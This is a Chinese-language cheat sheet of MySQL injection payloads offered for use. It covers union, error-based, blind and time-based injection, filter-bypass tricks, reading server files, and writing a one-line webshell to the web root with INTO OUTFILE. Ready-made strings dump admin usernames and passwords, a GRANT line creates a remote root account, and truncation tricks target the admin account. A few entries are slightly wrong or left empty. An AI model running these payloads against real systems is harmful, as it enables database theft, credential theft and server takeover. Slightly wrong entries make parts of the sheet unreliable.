Mysql注入总结

mysql一般注入(select),mysql一般注入(insert、update),mysql报错注入,mysql一般盲注,mysql时间盲注,mysql的一些特性在SQL注入中的利用。

0x00 mysql一般注入(select)

1.注释符:
#,/*,--

2.过滤空格注入
使用/**/或()或+代替空格

%0c = form feed, new page

%09 = horizontal tab

%0d = carriage return

%0a = line feed, new line

3.多条数据显示

concat()
group_concat()
concat_ws()

4.相关函数

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql一般注入语句

猜字段数
order by n#
查看mysql基本信息
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7#
查询数据库
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1#
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
查询表名
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1#
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码#
查询字段
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1#
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码#
查询数据
and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表#
判断是否具有读写权限
and (select count(*) from mysql.user)>0#
读权限
and (select count(file_priv) from mysql.user)>0#
写权限

6.mysql读取写入文件

必备条件:
读:file权限必备
写:1.绝对路径 2.union使用 3. 可以使用''

————————-读———————-

mysql3.x读取方法
create table a(命令 文本名);
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;
select * from a;
mysql4.x读取方法
除上述方法还可以使用load_file()
create table a(命令 文本名);
insert into a(命令) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
select * from a;
mysql5.x读取方法
上述两种都可以
读取文件技巧:
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)   c:\boot.ini

————————-写———————-

into outfile写文件
union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'#
union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'#

0x01 mysql一般注入(insert、update)

一般情况同上

mysql一般请求mysql_query不支持多语句执行,mysqli可以。

insert注入多使用报错注入!

1.如果可以直接插入管理员可以直接使用!
insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');
2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell

update注入同上

0x02 mysql报错注入

1、通过floor暴错

FLOOR(x)函数用于返回小于或等于x的最大整数值。

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor
(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一
行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。
group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行,不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
具体原理参考:http://www.mysqlops.com/2012/05/15/mysql-sql-analyze.html)。

常用语句:

数据库版本
?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
简单办法爆库
?id=info()
爆用户
?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆数据库名
?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆库
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆表
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆字段
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆内容
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

注:使用group by报错注入方式的注意事项

(1)报错语句中的count(*)不可缺少。

(2)from 表也不可缺少。

2、ExtractValue(有长度限制,最长32位)

ExtractValue()函数是对XML文档进行查询和修改的函数。

extractvalue()函数有两个参数,在实际注入时第一个参数设为1,第二个参数就是需要爆的数据。
如:extractvalue(1, concat(0x5c,version()))。
同样,在使用中会遇到如下面UpdateXml()类似的相同问题,即如果在爆的数据前不连接其他字符可能会显示不完全。即获取版本号时,第二个参数不能为version(),而应改为concat(0x5c,version())

常用语句:

?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

UpdateXml()函数也是是对XML文档进行查询和修改的函数。

UpdateXml()函数有三个参数,在实际渗透时第一个和第三个参数直接写1即可,第二个参数就是需要爆出的内容,要爆出不同的内容直接修改第二个参数即可。但是在实际使用时注意一个问题:即爆错的内容可能显示不完整。

常用语句:

?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
不好用

5、Error based Double Query Injection

数据库版本
?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

0x03 mysql一般盲注

使用ascii
AND ascii(substring((SELECT password FROM users where id=1),1,1))=49
使用正则表达式
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

盲注没什么说的,就是利用是否等于,这些函数判断ascii码,脚本跑呗,或者sqlmap

0x04 mysql时间盲注

时间盲注用两个函数一个是sleep,一个是benchmark,sleep就不说了。

benchmark语法:

BENCHMARK(count,expr)   
BENCHMARK()函数重复countTimes次执行表达式expr

常用语句:

union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root'

0x05 mysql的一些特性在SQL注入中的利用

1、大小写利用

不管你表单填写的是什么,插入到mysql数据库的时候,都会变成小写。

如:注册admin时显示用户已存在,你可以尝试ADMIN注册。

2、字符截断利用

mysql在使用utf8的时候,一个字符的大小的上限为3字节,而当出现四个字节的字符时,是需要用使用utf8mb4编码,不使用的话,会将不识别的四字节的字符连同后面的字符串一同舍弃。

所以只要我们使用ascii>=256的特殊字符就可以绕过了。

如:

UPDATE `wp_comments` SET `comment_content` = 'admin特殊字符123456 ' WHERE `wp_comments`.`comment_ID` =12;

以上语句插入到数据库的内容就是admin了,后面的123456被特殊字符截断。

3、超过长度截断利用

就是利用数据定义时,定义的长度大小截断。

如:

insert into user values ('admin++++++++++++++++123456','123456');

以上语句,如果长度限制是16位,那么插入到数据库中的时候用户名的123456被截断

用户:admin 密码:123456
大爷,赏个铜板呗!